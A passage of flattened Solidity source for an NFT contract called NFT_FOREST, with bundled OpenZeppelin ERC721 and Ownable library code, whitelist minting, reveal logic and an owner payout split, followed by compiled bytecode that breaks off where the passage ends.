is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/NFT_FOREST.sol pragma solidity >=0.7.0 <0.9.0; contract NFT_FOREST is ERC721, Ownable { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; using MerkleProof for bytes32[]; string private baseURI; bytes32 private _merkleRoot; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.14 ether; uint256 public maxSupply = 2000; uint256 public maxMintAmount = 2; uint256 public nftPerAddressLimitpre = 2; uint256 public nftPerAddressLimit = 20; bool public paused = true; bool public revealed = false; bool public onlyWhitelisted = true; mapping(address => uint256) public addressMintedBalance; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount, bytes32[] memory _proof) public payable { require(!paused, "the contract is paused"); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); if (msg.sender != owner()) { uint256 ownerMintedCount = addressMintedBalance[msg.sender]; if(onlyWhitelisted == true) { isAllowedToMint(_proof); require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(ownerMintedCount + _mintAmount <= nftPerAddressLimitpre, "max NFT per address exceeded"); } require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(msg.value >= cost * _mintAmount, "insufficient funds"); } for (uint256 i = 1; i <= _mintAmount; i++) { supply.increment(); addressMintedBalance[msg.sender]++; _safeMint(msg.sender, supply.current()); } } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } // only owner function changeMerkleRoot(bytes32 merkleRoot) public onlyOwner { _merkleRoot = merkleRoot; } function isAllowedToMint(bytes32[] memory _proof) internal view returns (bool) { require( MerkleProof.verify(_proof, _merkleRoot, keccak256(abi.encodePacked(msg.sender))), "Caller is not whitelisted for Presale" ); return true; } function totalSupply() public view returns (uint256) { return supply.current(); } //only owner function reveal() public onlyOwner { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setPaused(bool _state) public onlyOwner { paused = _state; } function setOnlyWhitelisted(bool _state) public onlyOwner { onlyWhitelisted = _state; } function withdraw() public payable onlyOwner { (bool vw, ) = payable(0xd44727Abe5Ae89723b9e0B7D3abA031C41ED004e).call{value: address(this).balance * 49 / 100}(""); require(vw); (bool kw, ) = payable(0x89d27248FE1FC3f57Fa148a43769aB429BDE25f9).call{value: address(this).balance * 97 / 100}(""); require(kw); (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } }
0x60806040526004361061023b5760003560e01c8063715018a61161012e578063c6682862116100ab578063da3ef23f1161006f578063da3ef23f1461081f578063e985e9c514610848578063ebcea3db14610885578063f2c4ce1e146108ae578063f2fde38b146108d75761023b565b8063c668286214610738578063c71f3fe314610763578063c87b56dd1461078e578063d0eb26b0146107cb578063d5abeb01146107f45761023b565b8063a22cb465116100f2578063a22cb46514610688578063a475b5dd146106b1578063b88d4fde146106c8578063ba41b0c6146106f1578063ba7d2c761461070d5761023b565b8063715018a6146105c75780637f00c7a6146105de5780638da5cb5b1461060757806395d89b41146106325780639c70b5121461065d5761023b565b806323b872dd116101bc578063518302271161018057806351830227146104ce57806355f804b3146104f95780635c975abb146105225780636352211e1461054d57806370a082311461058a5761023b565b806323b872dd146104205780633c952764146104495780633ccfd60b1461047257806342842e0e1461047c57806344a0d68a146104a55761023b565b806313faede61161020357806313faede61461033957806316c38b3c1461036457806318160ddd1461038d57806318cae269146103b8578063239c70ae146103f55761023b565b806301ffc9a71461024057806306fdde031461027d578063081812fc146102a8578063081c8c44146102e5578063095ea7b314610310575b600080fd5b34801561024c57600080fd5b506102676004803603810190610262919061333f565b610900565b6040516102749190613a24565b60405180910390f35b34801561028957600080fd5b506102926109e2565b60405161029f9190613a3f565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca91906133e2565b610a74565b6040516102dc91906139bd565b60405180910390f35b3480156102f157600080fd5b506102fa610af9565b6040516103079190613a3f565b60405180910390f35b34801561031c57600080fd5b50610337600480360381019061033291906132a5565b610b87565b005b34801561034557600080fd5b5061034e610c9f565b60405161035b9190613d41565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906132e5565b610ca5565b005b34801561039957600080fd5b506103a2610d3e565b6040516103af9190613d41565b60405180910390f35b3480156103c457600080fd5b506103df60048036038101906103da9190613122565b610d4f565b6040516103ec9190613d41565b60405180910390f35b34801561040157600080fd5b5061040a610d67565b6040516104179190613d41565b60405180910390f35b34801561042c57600080fd5b506104476004803603810190610442919061318f565b610d6d565b005b34801561045557600080fd5b50610470600480360381019061046b91906132e5565b610dcd565b005b61047a610e66565b005b34801561048857600080fd5b506104a3600480360381019061049e919061318f565b6110a8565b005b3480156104b157600080fd5b506104cc60048036038101906104c791906133e2565b6110c8565b005b3480156104da57600080fd5b506104e361114e565b6040516104f09190613a24565b60405180910390f35b34801561050557600080fd5b50610520600480360381019061051b9190613399565b611161565b005b34801561052e57600080fd5b506105376111f7565b6040516105449190613a24565b60405180910390f35b34801561055957600080fd5b50610574600480360381019061056f91906133e2565b61120a565b60405161058191906139bd565b60405180910390f35b34801561059657600080fd5b506105b160048036038101906105ac9190613122565b6112bc565b6040516105be9190613d41565b60405180910390f35b3480156105d357600080fd5b506105dc611374565b005b3480156105ea57600080fd5b50610605600480360381019061060091906133e2565b6113fc565b005b34801561061357600080fd5b5061061c611482565b60405161062991906139bd565b60405180910390f35b34801561063e57600080fd5b506106476114ac565b6040516106549190613a3f565b60405180910390f35b34801561066957600080fd5b5061067261153e565b60405161067f9190613a24565b60405180910390f35b34801561069457600080fd5b506106af60048036038101906106aa9190613265565b611551565b005b3480156106bd57600080fd5b506106c6611567565b005b3480156106d457600080fd5b506106ef60048036038101906106ea91906131e2565b611600565b005b61070b6004803603810190610706919061340f565b611662565b005b34801561071957600080fd5b50610722611a12565b60405161072f9190613d41565b60405180910390f35b34801561074457600080fd5b5061074d611a18565b60405161075a9190613a3f565b60405180910390f35b34801561076f57600080fd5b50610778611aa6565b6040516107859190613d41565b60405180910390f35b34801561079a57600080fd5b506107b560048036038101906107b091906133e2565b611aac565b6040516107c29190613a3f565b60405180910390f35b3480156107d757600080fd5b506107f260048036038101906107ed91906133e2565b611c05565b005b34801561080057600080fd5b50610809611c8b565b6040516108169190613d41565b60405180910390f35b34801561082b57600080fd5b5061084660048036038101906108419190613399565b611c91565b005b34801561085457600080fd5b5061086f600480360381019061086a919061314f565b611d27565b60405161087c9190613a24565b60405180910390f35b34801561089157600080fd5b506108ac60048036038101906108a79190613312565b611dbb565b005b3480156108ba57600080fd5b506108d560048036038101906108d09190613399565b611e41565b005b3480156108e357600080fd5b506108fe60048036038101906108f99190613122565b611ed7565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806109cb57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806109db57506109da82611fcf565b5b9050919050565b6060600080546109f190614047565b80601f0160208091040260200160405190810160405280929190818152602001828054610a1d90614047565b8015610a6a5780601f10610a3f57610100808354040283529160200191610a6a565b820191906000526020600020905b815481529060010190602001808311610a4d57829003601f168201915b5050505050905090565b6000610a7f82612039565b610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab590613c01565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600b8054610b0690614047565b80601f0160208091040260200160405190810160405280929190818152602001828054610b3290614047565b8015610b7f5780601f10610b5457610100808354040283529160200191610b7f565b820191906000526020600020905b815481529060010190602001808311610b6257829003601f168201915b505050505081565b6000610b928261120a565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa90613ca1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610c226120a5565b73ffffffffffffffffffffffffffffffffffffffff161480610c515750610c5081610c4b6120a5565b611d27565b5b610c90576040517f08c379a00000000000000000000000000000000000000